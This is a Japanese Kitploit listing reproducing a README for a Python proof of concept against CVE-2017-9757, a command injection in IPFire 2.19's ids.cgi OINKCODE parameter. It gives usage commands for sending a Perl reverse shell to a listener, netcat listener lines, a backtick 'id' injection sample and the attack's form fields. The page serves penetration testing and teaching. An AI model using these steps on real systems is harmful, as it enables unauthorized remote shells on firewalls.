Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
IPFire_2.19_RCE_Authenticated — このエクスプロイトはCVE-2017-9757に基づいており、0x09ALによるオリジナルのエクスプロイトを基に構築されています。 | Kitploit
ツール/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

このエクスプロイトはCVE-2017-9757に基づいており、0x09ALによるオリジナルのエクスプロイトを基に構築されています。

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

IPFire 2.19 OINKCODE RCE PoC

IPFire 2.19 の ids.cgi ページにおける OINKCODE パラメータを介した認証を必要とするコマンドインジェクション脆弱性の Python 製概念実証 (PoC) です。

認可されたセキュリティテストおよびトレーニングラボのみを対象としています。 この PoC は、自分が所有しているか、明示的なテスト許可を得たシステムに対してのみ実行してください。作者は、このコードによって引き起こされた誤用や損害について一切責任を負いません。

脆弱性の概要

IPFire 2.19 は、/cgi-bin/ids.cgi によって処理される OINKCODE パラメータにおいて OS コマンドインジェクションに対して脆弱です。このパラメータは適切な無害化なしにシェルコマンドに組み込まれるため、認証済みユーザーが IPFire ホスト上でコマンドを実行できます。

この脆弱性は一般に CVE-2017-9757 として識別され、CWE-78: OS コマンドに使用される特殊要素の不適切な無害化('OS コマンドインジェクション') に該当します。

元の公開 PoC は IPFire 2.19 Core Update 110 に対してテストされました。Metasploit モジュールは、IPFire 2.19 の Core Update 110 までのバージョンを、サポートされるチェック範囲内とみなしています。

この PoC が作成された理由

Exploit-DB の元の Python PoC は、次を使用して検証リクエストを実行します:

root@kitploit:~
OINKCODE = '`id`'

その後、HTTP レスポンスに次の内容が含まれる場合にのみ、ターゲットが脆弱であると判定します:

root@kitploit:~
uid=99(nobody)

この検証方法は信頼性がありません。コマンドは実行される一方で、その出力は CGI によって構築されたシェルコマンドに消費され、クライアントに返される HTML レスポンスには反映されない可能性があります。その結果、サーバーは id の出力を含まない通常の HTTP 200 ページを返すことがあり、偽陰性を引き起こします。

この実装は、Metasploit モジュールで使用される検証ロジックに従います:

  1. HTTP Basic 認証を使用して /cgi-bin/pakfire.cgi にリクエストを送信します。
  2. レスポンスから IPFire のバージョンと Core Update を抽出します。
  3. IPFire <= 2.19 かつ Core Update <= 110 を脆弱である可能性があるものとして扱います。
  4. コマンドペイロードを OINKCODE フィールドで /cgi-bin/ids.cgi に送信します。
  5. 200 以外のレスポンスを、拒否されたリクエストまたは認証の問題として扱います。
  6. HTML ボディで uid=99(nobody) を検査しません。

この PoC はまた、Metasploit モジュールがサポートするコマンドペイロードファミリーに合わせて、Perl コマンドシェルペイロードを使用します。HTTP レスポンスが成功しただけではリバースシェルが接続されたことの証明にはならず、リスナーとネットワーク経路も検証する必要があります。

元のエクスプロイトとの違い

機能Exploit-DB 42149 Python PoCExploit-DB 42369 / Metasploit本 PoC
脆弱なエンドポイント/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
バージョンチェックなしGET /cgi-bin/pakfire.cgiMetasploit スタイルのチェックと同じ
認証Basic 認証Basic 認証ヘッダーrequests.Session による Basic 認証
初期検証`id` を実行し、レスポンスボディを検索するバージョンをチェックしてからペイロードを送信するバージョンをチェックし、HTTP 結果コードを使用する
偽陰性のリスク高: uid=99(nobody) が反映されるかどうかに依存ボディコンテンツの検証を回避ボディコンテンツの検証を回避
リバースシェルBash /dev/tcpMetasploit Unix コマンドペイロードPerl IO::Socket::INET コマンドシェル
TLS 処理PoC 内で証明書検証が無効デフォルトで SSL が有効-k/--insecure の場合にのみ検証が無効
設定ソース内で値を編集Metasploit オプションコマンドライン引数

Metasploit モジュールの重要な成功基準は、予期しないレスポンスコードが無効な認証情報または拒否されたリクエストを示すことです。レスポンスボディに注入されたコマンドの出力が含まれている必要はありません。

必要条件

  • Python 3
  • requests
  • Web インターフェースにアクセスできる有効な IPFire 認証情報
  • ターゲット上の Perl インタープリター(通常 perl として利用可能)
  • IPFire ホストから到達可能なリスナー

Python の依存関係をインストールします:

root@kitploit:~
python3 -m pip install requests

使用方法

1. ターゲットのバージョンのみを確認する

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

--password が指定されていない場合、パスワードは対話的に要求されます。コマンドにパスワードを直接記述すると、シェルの履歴やプロセスリストを通じて露出する可能性があるため、この方法が推奨されます。

2. リスナーを起動する

--lhost および --lport として指定したアドレスとポートでリスナーを使用します:

root@kitploit:~
rlwrap nc -lvnp 4444

rlwrap がインストールされていない場合は、次を使用します:

root@kitploit:~
nc -lvnp 4444

3. Perl リバースシェルペイロードを送信する

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

通常の IPFire 自己署名 HTTPS 証明書では、--insecure/-k が必要です。これは、ラボで証明書の検証が意図的に不可能な場合にのみ使用してください。

ホストとポートの代わりに完全な URL を使用する

ターゲットは完全なベース URL として指定することもできます:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

バージョンフィンガープリンティングをスキップする

これは、IPFire のバージョンがすでに独立して確認されている場合にのみ使用してください:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

別の Perl パスを指定する

Perl がターゲットのデフォルトの PATH にない場合は、その絶対パスを指定します:

root@kitploit:~
--perl-path /usr/bin/perl

コマンドラインオプション

オプションデフォルト説明
-t, --target必須ターゲットのホスト/IP または完全なベース URL
--schemehttpsターゲットがホスト/IP のみの場合に使用されるスキーム
--web-port444IPFire Web インターフェースのポート
-u, --usernameadminIPFire ユーザー名
-p, --passwordプロンプトパスワード。省略するとエコーなしで入力
--lhost必須IPFire から到達可能なリスナーアドレス
--lport4444リスナーポート
--perl-pathperlターゲット上の Perl 実行ファイル
--timeout10HTTP タイムアウト(秒)
-k, --insecure無効TLS 証明書の検証を無効にする
--skip-version-check無効pakfire.cgi のチェックをスキップする
--check-only無効バージョンチェックのみを実行する

出力の解釈

ids.cgi からの HTTP 200

これは、Metasploit モジュールで使用されるものと同じ実用的な基準に従って、HTTP リクエストが CGI によって受け入れられたことを意味します。通常の HTML レスポンスが返されることが期待され、これは脆弱性チェックが失敗したことの証明にはなりません。

シェルがリスナーに届いているか確認してください。シェルが届かない場合は、コールバックアドレス、ルーティング、ファイアウォールの送信 (egress) ルール、Perl の利用可能性、選択したポートを調査してください。

HTTP 401 または HTTP 403

リクエストが許可されていません。ユーザー名、パスワード、ターゲット URL、ポート、およびアカウントが IPFire Web インターフェースにアクセスできるかどうかを確認してください。

HTTP 404

ターゲット URL または CGI パスが正しくない可能性があります。あるいは、サービスが想定される IPFire Web インターフェースではありません。

バージョンが認識されない

スクリプトは pakfire.cgi 内で期待されるバージョン文字列を見つけられませんでした。--skip-version-check を使用する前に、ターゲットを手動で確認してください。

ペイロード配信後のリクエストタイムアウト

注入されたコマンドは、コールバックを試みている間、CGI リクエストを開いたままにする可能性があります。これはシェルの確定的な証拠ではなく、リスナーを確認すべき兆候として扱ってください。

技術的なリクエストの流れ

スクリプトは HTTP Basic 認証を使用し、次のフォームフィールドを ids.cgi に送信します:

root@kitploit:~
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort

このコマンドはバッククォートで囲まれます。これは、脆弱なアプリケーションが OINKCODE の値をシェルコマンドに渡すためです。正確なリクエストの挙動は、ターゲットのバージョンとそのローカル設定によって異なります。

制限事項

  • これは概念実証であり、完全なエクスプロイトフレームワークではありません。
  • バージョンチェックは、参照された Metasploit モジュールの動作に基づいています。バナーが一致するすべてのターゲットが悪用可能であることを保証するものではありません。
  • 200 レスポンスはリクエストが受け入れられたことを確認するものであり、リバースシェルがリスナーに到達したことを確認するものではありません。
  • Perl ペイロードには、動作する Perl インタープリターと、IPFire からリスナーへのネットワーク接続が必要です。
  • スクリプトは認証バイパスや CSRF の悪用を試みません。有効な認証情報が必要です。

参照

  • NVD: CVE-2017-9757
  • Exploit-DB 42149: IPFire 2.19 Remote Code Execution
  • Exploit-DB 42369: IPFire < 2.19 Update Core 110 Remote Code Execution
  • Metasploit module: ipfire_oinkcode_exec.rb
  • Metasploit Perl command payload
  • CWE-78: OS Command Injection

帰属

このプロジェクトは、0x09AL による公開研究および概念実証と、Metasploit コミュニティによって維持されている Metasploit モジュールに基づく教育用の Python 実装です。IPFire、Exploit-DB、または Rapid7 とは提携関係になく、その承認も受けていません。

ツールをダウンロード